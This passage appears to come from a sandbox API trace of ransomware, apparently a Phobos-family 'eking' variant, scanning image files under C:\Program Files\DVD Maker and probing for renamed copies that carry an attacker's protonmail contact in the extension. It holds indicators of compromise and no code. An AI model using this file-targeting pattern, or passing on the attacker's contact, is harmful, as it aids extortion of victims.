Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.924] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3118) returned 1 [0181.924] CloseHandle (hObject=0x1ec) returned 1 [0181.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png")) returned 0x20 [0181.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png")) returned 0x20 [0181.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.925] SetEvent (hEvent=0x174) returned 1 [0181.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.926] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4955) returned 1 [0181.927] CloseHandle (hObject=0x1ec) returned 1 [0181.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png")) returned 0x20 [0181.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png")) returned 0x20 [0181.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.927] SetEvent (hEvent=0x174) returned 1 [0181.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.930] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3081) returned 1 [0181.930] CloseHandle (hObject=0x1ec) returned 1 [0181.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png")) returned 0x20 [0181.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png")) returned 0x20 [0181.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.931] SetEvent (hEvent=0x174) returned 1 [0181.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.937] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=45199) returned 1 [0181.937] CloseHandle (hObject=0x1ec) returned 1 [0181.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png")) returned 0x20 [0181.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png")) returned 0x20 [0181.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.937] SetEvent (hEvent=0x174) returned 1 [0181.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.938] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3122) returned 1 [0181.938] CloseHandle (hObject=0x1ec) returned 1 [0181.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png")) returned 0x20 [0181.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png")) returned 0x20 [0181.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.941] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1400) returned 1 [0181.941] CloseHandle (hObject=0x1ec) returned 1 [0181.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png")) returned 0x20 [0181.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png")) returned 0x20 [0181.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.942] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=35858) returned 1 [0181.942] CloseHandle (hObject=0x1ec) returned 1 [0181.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png")) returned 0x20 [0181.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png")) returned 0x20 [0181.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.947] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=194963) returned 1 [0181.947] CloseHandle (hObject=0x1ec) returned 1 [0181.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png")) returned 0x20 [0181.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png")) returned 0x20 [0181.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.947] SetEvent (hEvent=0x174) returned 1 [0181.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.949] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=10888) returned 1 [0181.949] CloseHandle (hObject=0x1ec) returned 1 [0181.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png")) returned 0x20 [0181.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png")) returned 0x20 [0181.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.950] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=10254) returned 1 [0181.950] CloseHandle (hObject=0x1ec) returned 1 [0181.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png")) returned 0x20 [0181.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png")) returned 0x20 [0181.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.954] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=10248) returned 1 [0181.954] CloseHandle (hObject=0x1ec) returned 1 [0181.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png")) returned 0x20 [0181.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png")) returned 0x20 [0181.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.955] SetEvent (hEvent=0x174) returned 1 [0181.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.956] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2374) returned 1 [0181.956] CloseHandle (hObject=0x1ec) returned 1 [0181.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png")) returned 0x20 [0181.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png")) returned 0x20 [0181.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.958] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=27581) returned 1 [0181.958] CloseHandle (hObject=0x1ec) returned 1 [0181.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png")) returned 0x20 [0181.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png")) returned 0x20 [0181.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.959] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2899) returned 1 [0181.959] CloseHandle (hObject=0x1ec) returned 1 [0181.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png")) returned 0x20 [0181.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png")) returned 0x20 [0181.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.961] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=10888) returned 1 [0181.961] CloseHandle (hObject=0x1ec) returned 1 [0181.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png")) returned 0x20 [0181.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png")) returned 0x20 [0181.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd 